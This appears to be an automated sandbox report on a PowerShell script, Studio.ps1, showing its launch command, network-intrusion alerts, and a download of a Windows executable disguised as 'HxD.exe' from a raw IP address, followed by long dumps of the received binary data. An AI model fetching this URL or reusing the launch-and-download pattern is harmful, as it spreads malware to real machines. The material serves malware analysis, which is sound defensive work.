Studio.ps1| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6402 | Aug. 6, 2024, 10:57 a.m. | Aug. 6, 2024, 10:59 a.m. |
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\Studio.ps1
3028
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2400022 | ET DROP Spamhaus DROP Listed Traffic Inbound group 23 | Misc Attack |
| TCP 192.168.56.102:49163 -> 147.45.44.131:80 | 2016141 | ET INFO Executable Download from dotted-quad Host | Potentially Bad Traffic |
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2018959 | ET POLICY PE EXE or DLL Windows file download HTTP | Potential Corporate Privacy Violation |
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2016538 | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download | Potentially Bad Traffic |
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2021076 | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | Potentially Bad Traffic |
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2015588 | ET HUNTING Suspicious Windows Executable WriteProcessMemory | Misc activity |
Suricata TLS
No Suricata TLS
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://147.45.44.131/files/HxD.exe | ||||||
| request | GET http://147.45.44.131/files/HxD.exe |
| Data received | HTTP/1.1 200 OK Date: Tue, 06 Aug 2024 01:57:49 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sun, 04 Aug 2024 13:10:41 GMT ETag: "2d000-61edb4993b213" Accept-Ranges: bytes Content-Length: 184320 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ PE L ù)Ö à " 0 Ä îã @ @ @ ã O H .text ôÃ Ä `.rsrc Æ @ @.reloc Î @ B Ðã H À' Ü» ( *â~ r p( ( ~ o ( ~ o (8 ( * ( *Ê( r6 p( o *ÎÐ ( rÑ p( %¢% ¢o ¥" *ÎÐ ( rá p( %¢% ¢o ¥ * ( ( Ð ( ( ¥ *0 y Ð ( ( # +Vo rñ p( ,>o o o r¡p( , % ¢o t X i2¤* 0 k % %r¡p¢%r!¡p¢%r-¡p¢%rG¡p¢%rs¡p¢%r¡p¢% rÁ¡p¢% rã¡p¢% r¢p¢% r'¢p¢% rK¢p¢% ru¢p¢* 0 8 þ þ Ð ( ( (! } ~ r¢p~" ~" ~" o5 -s# z <( 2XX( ³ ($ 3~ { o! - s# z~ { o -s# z )~ { Xo- -s# z3~ { o1 ,s# z PX( TX( ~ { 0 @o% -s# z~ { o) -s# z ø X X( 80 Ð ( rá p( %¢% X ¢o ¥ Ð ( rá p( %¢% X ¢o ¥ Ð ( rá p( %¢% X ¢o ¥ ,w# Ð+ ( r¢p( %¢% ¢%¢% ¢%i ¢o &~ { Xio) -s# z (X X?Çþÿÿ ( ~ { Xo) -s# z (X( , , X($ 3~ { o - s# z~ { o -s# z~ { o 3s# zÞ#& { (% (& o' Þ X ?oüÿÿ* A 4 A u 0 ô ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + *0 / (( o) (9 Þ,o* Ü,o* Ü* |
| Data received | D J O m s Y A D S L q b n c x F S r 2 P b K T g y J 1 M i W T z 8 9 E 6 t B 8 j L I P / p U M c 7 p 1 P 4 X y y x k Z A 7 7 / s F J y U L R A 1 S I r 3 j Y g 9 e J g a 4 f / G o s F K B Y t q L D i 9 B v z g H C W X E G I i Z 1 E x Q a 2 K I B f F 7 H + 3 G Y G 3 D R L X j 4 S L c n L C C x 9 I z 1 y Q w u x O d r c n J 2 C Y c t m + R n 7 s u g U X w r F i n / k y x 2 A q W T L C V y u q j d d L s e L g 8 c i D p / 1 g N 0 N V F v S J O l r K b + H E f i + A F K h p j o S 2 L U l 8 a n y A U U B R Z R p R 7 H H P q A 8 C E t N b Q Z 5 s R 7 W 5 n 6 5 h S R Y r s L I e u Q h Y u L x / D M P P C n p u R u 3 x i y W c r 0 z P u s z + 5 j D n i j n x 6 8 3 h B Z C 1 4 x t I d N / 5 S A W X l Q K T q 6 5 V J f i T K 6 F 5 0 k p D 8 7 Q 5 w + d 8 / i z Q L 5 1 s K 1 H l j L + 5 b u Z L n B Q B t e h b c F O R d s 0 K y z Q Y Z K p W c 2 p x w v b o W w R t F Z z 6 H m S i N Q m Y g U a J Y h v b U q A E Q s a E r z Z t V O M B Z b 7 4 f 0 r E Z D o 4 c 2 d E G q N E S U o 3 2 C 2 j s 8 q k P h 0 Y 3 l l u R w X 6 m a H / d Z Q A 6 9 / f r 5 + o 3 K U O J t c 6 l A y D c L W l 9 p o n r K i 1 M k + l b L G B i / O j M K r 6 R p Q o U X 9 2 T P 9 n B i I 4 n O O w N 9 L O I x R 1 q q T h w r b K I R 1 s 3 g V O m f R d H h M u Y H A P T v L X y D t 4 W L I i + O g t / v 6 N + F s i + 6 M r T P Y W D C 5 m 6 o j X 3 x T E O u R x l l U 0 d / e u n O W w o Q R u P Y E O D W / p X v Y Y W J u h C r 2 / x a x H F c + R V M s p B k W b l d 3 D g 7 + m b 1 x u Y I B N C W G t E l p m S d j e 3 y v e y 5 T Q C X L a L f N o X V U 9 M W r H f 8 3 t M O w T D y T 4 m 0 e a b 2 Y 0 R Z u n d D K 0 T a K P H j D K b E s 2 i j Q F C N 3 5 V E W H V o I / a N g X 3 1 5 Z t B 4 I p m 2 K y R d S 7 t K W r X N x Q R i Q M n s Z z K P 0 D + B a b 7 q 8 w o 8 4 C w 3 I t C A X W z 6 s G v / w j L c 6 a G c Q B e / M L B i c a N O Y F k q m a N P e M e 0 T I w L D S k V G y s 9 a s 4 I X L u U c Q I E U E r B o y S I Q A 1 L V K 9 V y + S z E a c 3 Q + N Y 7 u l 2 W 9 j + 3 V y q a p I k e 9 H o t 3 c t R 8 / h 1 O w B v 8 N m t K X S r i v O U P q k S C 8 m 5 a w F q 9 I N W 5 Y X H C w 7 b E X H 6 / g z t g J x t I R S 8 C L K n 7 2 T p h D C i E z S v f N H q R B 6 r o N s N F 1 y Y S l U + i C a M 2 l t K 3 J B o Q q W Y Y 3 g Q l w l u N i r E 7 B t V k Z D p C U N k J o C 6 L o 4 L c + g 8 i j F m N B b I z p V m + S r j k 9 H K U u v 3 E + I T + R g 7 Y e 9 v k I T o k 2 q b W M 9 f 0 W C + U S 1 z I X h h M p O k 9 s A H H O g D H c M F E w m W i b Q O r / D g T e U e k D Q b i p E G R A U I 9 Z B P 2 C B v s Z T q o p J b P I P Z G c s T 5 h + l F Y m g I g N I L 6 K U n J k m P p H X 8 a f 1 R 8 f y T U / / N 7 2 8 Y X V R 5 6 4 E n 9 W 1 u W 9 Z V u K C z 6 e D 8 X X 5 X I A d 3 J q B |
| Data received | 2 G T C k q d a l a 3 s H S i 7 F l k y 8 k V 5 o V q X Q T F d f J A 1 9 0 5 F O 2 L S C Z t / V S K 7 G Z O 6 A z f n E l c c S P R B N M 9 9 j D C h q u z X L M 7 w q i a P q t x U 7 v 1 2 m K f Q x W j 6 2 E r h S t Y r Z R f P b n I 9 O j l f w M h 6 f e F Z c u p H f 1 F / P O 3 Y t x 5 o y P L G 2 R t F F f 1 9 e 7 v 8 D z 4 v J e J m I z I 9 T s c o A v 1 y 4 Z F e k 7 4 0 N N P E o X y 3 K 1 N E j 3 N H + C L 3 O f b r m h b 8 b G L P R v 4 u N g i 8 + O R E 2 1 w B + i l g q N S + e x 5 P 3 m + X J c 7 b z o 6 9 V 9 w w W A C 9 / 7 c V k f n I v k 5 N / y h F Y + 8 o j r H 8 S w u s a h N 8 T Q A E D d B K G V A L + S Y s j n I W U G Q H A R i j O O z l P y 2 / R v t 0 n 8 1 + v T h x R o Y Q L + v B c n p V p y C W + 6 r z E w V n K o Y t Z 5 G D 4 / N h 7 C O + 7 4 L h s a x d 4 p e w g B c y p o x x T 8 x s 2 L u u j P N 6 Z S 7 6 j t O c z 4 h r F 6 E t y y G C h n 0 w e u s + J Z v V e 4 d d U 6 5 p v E 3 C v + q q Y k q 2 w X L J e H v v i S u q s R s s J r A X g 2 I v i v G x B y q g r O 9 2 v O 1 G b d X b B i s a z 6 K J 7 h B c j y w h r K 4 N O k 6 w b Z D S c 4 3 x b 1 b + U 3 5 p i M g z e D z p 6 p a + w E 2 K + 8 7 z T T 0 x Y m t k V T f 5 q t p c L U v f B q 6 S / z r 3 m r d U g b h k k k U A P o L F 5 x W I E s x 8 F 6 o A Z q q V s b T Z 6 5 i K v 5 H y N 3 j h A X v U 0 w P b h 1 s d T j J P 7 n J 2 G / + d M l U h R h e c 0 K X y i s v d N g a P F P H E q f r 4 A 7 K Y a f K Q 4 V R P s o L t F x 9 X O l 5 I 3 5 Z j y r c t h d W o F 4 I d 5 z u X + l i H y c D y 5 g A o r o y O + x x r n Z b l 8 T q 8 / j j G a I Q r L Y Z b q 7 e i K k 6 K / L J u Y 2 v x m 8 8 N e v 9 J d J m g F U M l f w g u x d k R k X 1 Q K T 7 3 A / j c / q c q r U v m 5 5 E L 8 u O T A G b r S 4 M 9 d t 8 + g s C b D z h T E p g N n i L w 5 X J 6 O K 5 / c 7 J a u M m N 4 8 N 5 b M C t m e K t Y Z v D r o O C F A W L K Q h N l B r e 8 a l D 4 g M 5 J v u j n J G Y a 9 n l 1 q 6 7 M s S P H c c e t P S o X S h E A 6 p P I H h 7 E z 8 O R u I x m a z L q s 2 m o V c J c v p 6 m R f w f c I + B 1 3 A M x 1 3 L 9 4 3 B j U 4 s t 2 W N a 2 E Y + V d A G u K r o i W 2 u g e o q G v k n m T 3 E p D F S m d Y E 1 J g / m s 8 z u 4 X V Y M / K v N x c d D C n Q F Q t T A 2 C S Z L 0 V 3 n v v Q T 3 n G F F L s U F m 5 n v L W g 9 S D e U x f g m P p T n o A a 1 p E M j Q t L K h S b K M 2 X N E 3 / f D 6 G R 8 V S a v 1 Y E Y p 3 f f C J 7 g N L N l f T D F q J e d E C e N n Y O r a / r y v 3 b D / x L i B t P S X a h 1 P m P a I q r 4 R t s s X 8 E m 1 D v 5 6 R 0 m U H C K q I L z B V S z Y V B d j q F 1 Q H Q W E U s q B P 0 T o k O X w S r z K p y 4 h 7 F M 1 k j O h k z X R k n v b J F 8 j b B d / i R q N 3 L C y I T M X U U U P O I h b F G g E 9 T g A 3 2 N + Q O I n |
| Data received | H H S y h 4 u N e S Z a / B E N c 3 J e b e l x x J O S N I L 8 i 1 1 Y O e E D Q s 7 I 7 7 W x 7 z R C q F M L 7 O + h X e k C e y r w B Q m + z u E r b u C 3 d + Y d y 4 r d o n v D m F U R l B 2 / 7 Q 6 + v s x d Y F / 4 H 9 j P s t i C J c 2 d W J E N Z F L 2 8 r B 1 Z 4 F d s q J / D K r U J O l 1 u U L V 7 p g M K M p k S U N f n I j C l h 0 f X D c 0 r d V 8 g X 0 4 J j M N a 2 T b S I b 1 n K 3 q f Q r j J T y t q 6 I H 8 Y u w 9 Y K Y 8 + I 6 y x B z Y + h t X D g 3 M K q 9 g Q 1 z Y x a 2 A B C 9 l 0 8 m N t 1 R u 9 K j h B G 8 A z H S o 5 4 s G P V x f j 5 Q u g E + e t P n d z R h h a G y K U 5 f U T Y 2 m V b 4 f o l M t / b b W Y x h g M H 9 0 C Q I h S p y f Z 2 V N y t Z h u b 9 j j P k Y o d F T 8 p R R 6 v v Q S 3 f T I 5 l 3 R 9 g t C 6 Z d e v 0 9 b 3 K M f G G m z a w 7 F Q h b l J 9 d J V x J R x f D 7 6 m U G I T a o 9 q V T 0 x 3 K K q v a E y A / Y e c p H 1 w 6 3 o b d m E Y g l U q O 3 w 2 O 8 e S V J c o t V 6 B D j Q o I y l R c M y x s H K h J j f M p K 6 y d K w c g Q R e C 3 H Y T 4 9 o n 4 H n Y c x y Y y D H D D S 9 o L z y 8 P f 4 e y J E Y Z 8 k i T H U T C h W Y j r X f J P t q d F K v a O 7 R R L M x F s 4 x f q A H N 7 E r a 1 h C f 5 g L i T 8 M S p w M u I i 8 m W N b E L y v v u m O y 5 b m F i 5 R B 9 4 U n b g b 8 H p 9 f H R p F S 4 0 U t P Z k C D c a m X u i l B u i E J V 8 n U h i w H 5 C k q 6 B p E 8 V Q E w z / C + b A v K 6 5 r Z v b X O i u x + T 4 2 + y 3 a v O x 7 K m b C q L q 6 b Y H B 5 Z w e 9 R 5 W Y 9 v 5 b m F S I B 0 l 7 5 5 b F q Y k E X j m L A W R C Z I F r r p c j D C O 7 f / / f q 9 E N V + 1 0 b q + a C i D q / T z a 1 A k T U 7 v O u W 1 t p o Z c e e p q E d / q 6 a O j F 2 5 + 7 B g M W u m 5 T q G 9 G m f 5 D q B j + l I H z g T h b t M H 3 e J H m R 8 + W 6 n f b 5 1 G b 9 u a U G I L j r 4 O u X k g n f X q f d D R v P b i i 9 n k V v l + B g a 2 J H b i N d F y w X o S y z W Q g T 7 8 O I 1 N o M 9 p t C U z 6 3 e K 9 R A a B U K N m e u F b E H 4 b x N a t l O I N R L 0 e a m H T j u / H o C M k O S l r j M m G K V L + t k g a Q 1 j 6 k C T k w Z 1 d e i E 3 d L K 5 S U z F q / 0 m I j 5 q r m J x X s y v z L J i Z k 5 9 Q A D g b N / 5 2 a g B K x I Y X n z / G k 0 V 2 g k k S 0 w i w c V Y 7 3 D M G 8 d o S M l Y i J 9 q p 3 r n t m / M 7 T L Y P L i / 5 D F U f + E T V c 5 B b I K 7 E q X W 7 E g 4 D 0 i 4 4 I j y X k 1 o I t S f W G k M E n Z Q L x n V b V f p E K F A Q f 4 7 I Q x i O p l d z 7 h H X 3 k R 7 u W n 8 7 + 1 0 4 i D 5 0 J V y P Y n O X f I u N p L 8 0 c / x I E V W r / f 8 / n 6 D v i R Y B J T K f f I Y O 2 a N L b b e / F A w W P D F O D X C v p B z d 3 r U g O u s S v I w j y k V e O g R O a D T p c m R 6 a 8 s u w j k e x C A O 8 0 J 0 i h d q 5 E G Z 9 2 P 4 m H S 3 d 4 s |
| Data received | E S Y q x v y i N 7 1 r 6 o Y K 7 5 V F v u u Q o / 1 A s s P 2 k H H b l g Y 3 g E t W B O 5 2 m 6 V 6 L i P z h R 2 T C X 3 m d X g O s X P 2 T X + O Q M o 8 q D 9 Y 4 Z e x s J t v y K M 2 4 W y a Q t C 5 9 F d + u P z r 2 I + P E X k s r B b H U P k 9 8 y n f + v + Y t Q 3 4 J e y y a W L 4 u H G 6 3 g t f a 1 g l h 3 k k K y j + / n l n m r I C W P p f c e u T x D p A Y d T w 1 A G n q A F 5 b i v Q 8 4 X z / V 0 T + b w W j v E v G j h k R W P 4 c E 8 f r g y R M k H 9 v y p E i 4 D k c B e Q a B 0 L n u Z X z X I o o m 6 x u p R / 4 X s i v x w d / L 3 X c Z y F F j d l e C Y h N m R H m Z C y p W Y y 8 Q U N H l 5 D f v w k + x q 9 b V m e S i 6 l T / F e J u Q y F t 0 O W W r K K L g U S d O i u 9 4 P U 2 E u g k A D b O l q D 6 d Q I y m a e 1 U 0 o I Q Z g 4 C t r 0 L g h R 4 f o o P P P q o M Y a 1 m U b j w B S 4 h + D / 0 V m O g U 4 Q 8 / H O J N k + n 9 T l V J d i 4 P q o n K Q e g 9 q I L u C r t n Q d 1 y u Y g X k z V w i t b s q i 7 t 7 X q c t u K l 9 i c T A Z d o j t P C + I M R i i V i f a f v E g 4 Q A a 7 C f A J j Z f M 0 j n 9 R u p m B C a 7 k 0 S / 7 k Z + 2 P e l P L O j H N e o q 8 2 R Q v z M f u W f j p Q 5 8 g 2 0 n I 1 3 Y L B 6 G N I J C l / e r i I C 8 s U K + j U + d r 4 P g 4 6 O b 2 O q 2 m 8 x Q C q 7 9 H u S 0 P K i Y 0 c J A z o c i d S 7 r p Z O z D Q B r 2 f o f A X a k Y g 0 e Z a T J S T 4 t Z M D M T W 6 N m r M k Y p T L N d W d 5 r m i R 9 u i m / F n H k I + 7 i i x n U F X R x b 2 5 O m D L v r N O G H L C T C m S i m 4 e 0 / F 1 w p s v 2 + m s K N H 1 N 1 v x T x 7 j s 5 D e d 4 Y A g K c l J n 3 L d 5 u H b d + K 2 + 0 x 0 W 7 a w 9 H k b S E i / N U S P P E X 5 u Z x v I x h Y L v u O f n r x f w G + s i f C 1 W b r W d z E r f t 4 v 3 u L o 8 1 k J h U K P C 8 q 5 t E 0 H k u k X E F 0 v N q U F 6 O K r p z q 1 f X n X P F N X n r 1 + o K M G 4 a Q x + a N y S J g y v m 9 3 r v U u k P h X R I i I 6 h u w D g 9 m 4 w a 8 z i d Q 1 2 t g x V C Z K h G 6 M I j S Z t + k z I x e i D 1 w b Z W v l Z M j U Q 1 k A y 7 m i M F X E z 5 g J v b X x i c A j k Y J s m 5 v G l N E 2 J s A c R l w h R a 9 4 e d 1 o v w G b O K z f f W 7 h t 7 O m C 6 U 5 D n 6 A d N c Z u R e r B G 1 8 p s 2 0 u t J a x P 4 a M S E J j F 2 c C 1 x i V o c 5 6 B 2 O 9 c E m / U B U f E O o S X U O T o O P 7 3 D 4 K y S v s W f l 0 M Z C / W m 0 P 3 7 n E D N Z K X 2 L u d J F h D k Y a o O C G j / a 6 Q t 8 8 4 a t l l L 2 5 T k 9 S x J M 6 H M M E F 5 A 0 Z C d 6 Z y F 2 6 S / 6 R J 3 W d o K n p g L h Y 8 5 s F u c c 7 5 V 6 M b X l F Q M G f L j B O n W x + u n R q c u W g F E B / 2 x x D O 3 n + c r 1 E g P K 0 4 H 8 m X K M R V g 6 H 0 Y T F A w y F f B 9 A T d b O + v p W I 0 w l a M i Q j g B 5 f F k L p G q q 4 3 t T Q o n + 9 H 1 g J |
| Data received | B 4 H p v m q M m 6 i a Y 0 x J R r 6 A u 5 V k u e k z A 9 p n Y L 4 W c p / u h R 5 d R T / D T + g L R j J e 5 p 1 9 + n A D N p m B H Z 6 v f i y 8 k q j f u 5 p W M l H R 4 5 U + d k h T 3 G M 1 b O E t R 6 a Q k U 8 o 2 a r + d p S k g K X Q A z i g + S b R u Z y j q N P h g n S / 5 O B X z 1 M I C e N T U N x r r A 6 O u Y z 8 s a H c w / 1 r L / j M L z + K 8 8 G 5 8 9 r T X u u u p k S c a 0 h N 3 p 9 v j L G y w X L A M E r V I 8 J j 0 4 h k W i l J 7 i M G d 4 2 9 T j f J S G 6 G t K E / e + w y P x r V W E P S w D X j M 0 P q g B C Z A u n l J G t d y d X C D f b w L 7 p L K g K S L d d S T g G 5 B 9 q + I S F o K E t q v M f 9 O J + Y W d F t C G K Z x 6 C l k + g 4 R l f Q V q d S P z O p o 0 s b V 0 t f l O 7 5 c Z l P Y 3 s S z N N D T a 3 + X 9 d q T S S 5 3 q R n V U x S o 4 9 e Y U y J h c C m v P U Q b H i S d I 2 Y 1 a z P C s 7 1 r X U y t J i p 4 4 n f 7 L E l z k p 7 f 9 P U s g p u V / T 5 a M G q D k D m o / i H p S n J T N S B Z q C e O / 9 X M n X 1 O 1 K b T S a g p 2 v s / k 3 N v R / B U 0 z x o u f G J h g f Q G q O P O h U 3 5 z V d o T V s t d i c 4 s l 4 z M r 2 5 c g I X k N / 8 j U + F e Q 3 O 2 i m S K G A J 6 L S a o i O f v / H l I y l O p v M j 6 1 J 5 o t 2 k D Z 3 F v l d O B x X r K z j M K F W L D m y t j 7 p u m l S 8 d / 6 o s L x 2 5 I 2 d J l r S n m V k w I v r r y M 0 Y L t 4 9 1 U f e G 6 D 4 V 5 H X e L s 2 G p D S + U h M z V R j t c j V 9 E D r O F / K E G b W k K a G c / j t w m L D r l j T H 2 3 r H 3 T S T i Z T M O F i T q + J u C 0 T d a 7 1 I 1 / 9 Z q 2 D U B l b 8 t x q 1 5 I c / 0 d T 8 X R 5 S v s s k J 1 V O K 5 r T b P M D T 8 E N M 8 r 4 y X L n l G V g H m 9 Y E 7 i m H q F D L 0 Z e c 3 u E T p x X F k U K 5 O P Q D c f 7 3 0 3 m K g l l P D 0 M o O y b F T b B J m V K b E t P B i w 0 o t E + x t W w Q i D 5 K P 2 P 8 y p P b i t e b F t W M u m m n s K Z U W q x I m P G 0 T Z l 5 4 G V F X + T i 5 4 C i e Y h J Z 8 H o O R E 5 Q p n b j 5 v U 1 v b T T V P K M g f P t h f E K t E E 1 c l c s G x k p H H g D v I k e J 7 M P r p q g J f H n N V x L 1 / P U f c o X S j n i p e j J d 4 s 6 S R O Q N y i a t X 9 M 6 Q P g c n y 2 J o T R P d C d 7 F F m N / U Q t K + k R 2 D e M 3 z O N F J W 8 h V d 9 8 0 p Y 8 P I n 2 s + Y U 1 d V W Q I w G P V 8 R 0 s C H j n / 0 G a F J w r G 8 W e p 0 D t e N t c 1 s Q q p X n F 9 s I r i X Q 0 X g J H K E L F + R N b 8 Q + 7 i j O / i 0 7 R 0 x K Y 0 7 r n 9 T C f / z 2 G j C A 3 c H 2 A c J B / n 3 7 9 T K m F i I A X q 4 f X h H 0 D 9 n z e s J K a O A g o J r L p m 4 h l V / y + t 4 6 x U v r 8 5 f f B C q o C E S V V k F 9 W e a A G 2 H W F g 9 8 E E 8 Z L 8 1 J 7 t h Y b F P / F r S I T M 0 t g n 6 B w / s d 5 X L A R D r n j W H c / / V j M 4 k m S w d x j K p 6 3 M q w Y 5 e M T M Q S t N y k o z j B x F h 0 O y L w f W p X S P G e Q 5 y X F X + W j p Q x G B w h Q R c P W 2 + i n y E n E S 8 B D s Y W P i v u G D M f s 2 6 / g E M y I V D v t a E a 0 c s u E 5 m s 8 y 9 N i f t T H G N r H y g H e k u W u t H 7 4 x 4 m R T G I M D i 8 s y 4 v z o j f c D 6 t B Q G F D A r g e f T o u H q D j z u G O o q h P l a 2 h 8 U Z b V t Y b e D P T + Y A j 2 X B A y H 1 P x Z d F g 9 n 1 a e X A Z 3 T z 8 Z h R n N t M G Z p R 9 I y r a t h f V y Z H 3 v M B a D L C d A X A H q H L p L J r m W N 4 U L 7 8 k e 4 Y m B c Y / 3 P N X n j 2 J + U Q V g s H s 1 r l u 8 P c 8 I 0 P U x v y p I u e 9 e Q + y R Z J 4 o l P R B R 5 Y o L 5 N 3 1 0 5 O c L K m v 0 K t H E 6 Q j / n 9 N n N h P t V V 6 9 z E U 8 n u 3 1 4 b f d x U Q r B j t O d t 5 g 9 M J D 8 O f x j a 9 a T / y U M d F x p g b y i p w E N E 8 T t 4 i a 3 r + l s 5 G N 9 4 C 8 b e a k i m a t 9 l K c E G a P f g 0 m 6 / N F A 9 s U D R E E 8 / s s J 1 u l P H I l C 7 L 8 8 Q 3 N t p O I K X z 9 V E h T W 0 t B 2 T Z M X S U J a l Z + H y W 9 m l a r g n e 0 c f G z L s X A t 9 w C / d p j V 0 A z 1 0 S c K 1 L v A 9 x P F X A E 5 2 V 4 g g S Q W / 8 i t B M L z P p j r U m k f 5 W w I N O b b 8 x o S y u Z 0 f U v n h + / Q 0 U D X c + a R R c N C g 6 8 0 p m L M Y a u J Y x u t f / 8 J s + B 3 7 u r i K p d Y t u i U u l h 2 2 V 1 V N r i a f |
| Data received | T d N S / 6 V M S L j k F + M N p b U N c I j 5 e 8 w p t 8 2 f X D u u M Y c x w W S c b 9 t Z V + 9 E J 2 f W g A 4 k d J G G Z c l m f G q e 4 x y 7 n O b 4 F f Q R u 4 e 6 o n x 9 2 Y d n D h B M s W o X x 3 K U m 6 o h z L s a i o Q 9 7 2 2 M L / N 0 E d + / x p V v w W d Y N b L / s m v r 0 o i G y Q k X B a e 6 m D f q V A o J 2 o 8 l p L F C 1 A c R b z Y V X + b e H q Y F 8 I Q C t w b 0 h K 8 e 1 C l O F R R Z g Z q g g Z M a Y r u 7 K V W G v j 5 I G i I M C x 7 A u u I t X m H f i R W S 6 X x 2 J k Z b s Y 5 d R R 5 a N H 7 k I V 2 Q I G n w o l H s N E J 4 A O f 1 K g / E s N u W 5 T y 7 q Z C 2 + K I b N n V C v l w V V u y i q X l u 8 a O L 0 Z H b e H i b 4 h E n i q d 2 K S i Z r 9 O A c m i d P z r O r k 0 8 7 j X 4 Q K R N 6 T G S R S / v 3 F w f j z Z a S 9 S C u 9 u + g U O P 6 + g n k U H F s 9 v t 4 h V 0 q H 3 h 1 0 X y S A P Q D h l j C 4 l i B t x y w N Q X 1 + j N e c x H y A t X b B P n L e z 0 R r 1 5 A 7 3 k C u X c X V u l n r G 6 J S i V 8 6 6 Z N i B g c t U X f S d Q k Y q I h 4 1 R K i X g u X g H m K E g g U N i G X J X 7 V 1 X n M 7 L 6 M F 5 n R 1 5 l z t + C F + X X F y p q 7 M Q G 1 a K W 8 Z 5 P w 0 C O f v R O 1 h 2 D z X j S K m 9 b N O 4 e 6 k V e q U o X Q 1 2 Q B x F y E / C o l O j F Y y x 9 g F g q Q e Y 0 U I n h 9 8 U h X m i 5 q W B o n x Y y U s j L T l V e z n I v C F x 5 c 8 f 1 A K N |
| Data received | F y x L g B 2 j y 3 R 1 v T n 6 5 1 8 M C x v T O N 1 + w v P p P O 3 M e X D u I Q f O 0 X T m R C i J 5 Q 0 9 Y 0 X 8 o m b 9 R F U 0 b P k + w j I t X 0 V 4 d B R R q v t v X d 0 P 4 i I T L U 7 r Q 6 2 d D 6 J O D i 0 J Z L w W 0 Y f J s P x f D c k n 1 K Q Q t G C y A W q v 3 f b r a a p / I z C R 6 T R o P q + a Q b U R d g m J K o s J i Q M d c l I 4 v j / C H U 4 L m F I E 8 u v b w v a d N R 8 z C U Y k G Q G 2 l S Y z m 1 5 W c n W 4 k I N O Z a v Z E 4 p g N 3 K b W 9 f j d 2 b U Q X f 0 n q 0 j R p Z L k Y l I u V K V o u z i a n t h N V 9 Y / w w M M d s E 6 R y / n / 8 h + i e O J 2 i m + Q O V b s i d L q 6 1 O F f 6 4 r C j 3 h k R X F y i u u + + z l y l P U u M R T M 6 u V K S F z Z S D 2 b h w j k N Y K g f B K s P p 9 J Y T i 2 K B G 4 x O 2 q T a u h N 3 s C s 6 p G X F T D D C p R F 7 F u r N V A a T J + U b C 8 i n + p e q A C G b T W n u y M 5 L a o O 5 V N p H a P e n / i 5 p h u H m + X o h I Y M N / 6 6 4 U c n 5 O z n a K P l 2 c v Q Q a + 6 a 0 L / F q w F 0 w G j W c V Y L h I s x i w c 2 2 m k 0 n F M + H a 0 v L E A 9 D r i 1 P l 2 b B y A X K O K U O k k n D v B y 3 2 J / I s a d h e l r 4 + b c G u V p F b 0 f F w f T A M S L 2 7 I S f l 0 H U M t s Z Z t u y m 5 h J F m W s B V i b N h d 3 O Q 6 A q c R v Z A B y D k u d B P 3 v G j v k Z X X M I D Y J u c 4 M O l z o / t s X R o z p b e Q 3 U c O H + A u I 2 k g E o V k g k L R a z 0 q F 1 l y R D y J z s 4 w O c K B X S D h m B J 7 g v G t d Q X w D V I D J X H s G c 8 z O L s w V M p D U q I z f O M e Z B N M / 3 W i Q R 8 S e 2 v Q E x / C g X 9 m s 7 s Y c P H 4 K Q h s k v K 7 p y n 1 P o f 1 1 K z K e c n P 8 I c m Z p W n z j X H E b L I 8 / G D z Z 6 L N u Z r y h q 8 Y P Y l 2 s e 2 D N P a i Y M U j C C k G / v m m A x 4 u 4 1 f l i O X Y p / 1 R 3 8 3 i 2 Q K r Z 9 L 3 d J 0 W x Z b T q v / + g Q 7 T E + C 2 R q g b n 4 5 5 P n x K J y Z T Z 4 H P W K + z J s i e u i T p d E 3 5 k w R W w u f / q S i K 4 I s o A C G v 8 s C l o 8 5 o b K D Q W m v n r P t 1 x F z D Y P w U r f A 7 W X t 0 h z Z P l 2 r X H j K K O m z R X G a Z Z f 9 Y q W V P o I r q 9 Y 0 C 5 1 o L o w v 6 W e R n w b / V q x 3 J c h v L h q C A r I M y m f q 5 C C 7 F A K b v / 2 s G E b l H a p 2 f k 0 X 2 3 F R n S p / 9 Q a o L a u i s 8 o s 5 + U 0 S / Q t E X M L e f b V x o U 3 5 J n f w S o c v p Q n 9 V E 5 R 1 a W g 5 g F Q L f h t V d X 0 R r p u o E P q m 7 t F 9 g U S 4 d K p Q 2 A J Y S 8 b l 3 8 D 7 r T 9 7 C u g m I z O o v K C q R W C h o Y v y g h L w E y O I P C U k 9 k m A d F d / A r R u 4 J D 4 u A s I v O A e e S 5 N f N 0 m Y O B o C e + O P 8 q u 8 G H P P B z K 3 b L U Y P X 9 K u S t r O V L 5 u + B R e o 5 O u X a 6 9 A F D K 1 1 Q 6 Y 4 i C U L n G S 6 O w W 9 d t d u 8 s B s j |
| Data received | m g W d Z b h Q K m i y D N k / P c F 2 0 l j G H R y + h Y A p 5 p b p q Y 2 f E T c I S Q l f R C j 2 m G P h U Y t u 4 a U 7 g Z p P P o N D C d 5 n s a a n R A L + l e 7 W k x 9 9 A a E C l M C O P / y g E G / R H a P g J h v p v S 4 t K F e O b R H 9 B 9 5 O P K Y n w y C R s 4 M / B C 1 E A Y F e G e m 5 p Z Z S m / Y m X 4 K O t Y R 7 U 0 o p B I t O O P z l f 8 g 6 c u 3 0 L C S p J 9 X S 3 X a R G q D L X B l Z G k n q s H O f O 0 6 n D O t K k 1 m c M S z O t P 5 t Z H q x s F Y L D g / z p G D Z 0 L e I k 0 9 w T 7 P a n q + y e 3 m G D n 3 K f x a T A m j o E S J J z U k 4 W Z Y B S j 1 l 0 v R J 6 b 5 K 1 Y k p L W / D n D o + / V D l J m + 8 p u 6 s B q 2 R x s T + 9 e r Q P a r H t 8 Z q H O F 6 4 4 N F F P k o N P S P y H m T P Q Y C x + / b g u U z Y 8 s v 6 l N f t r E e a M 1 Q 3 H x P 6 g P 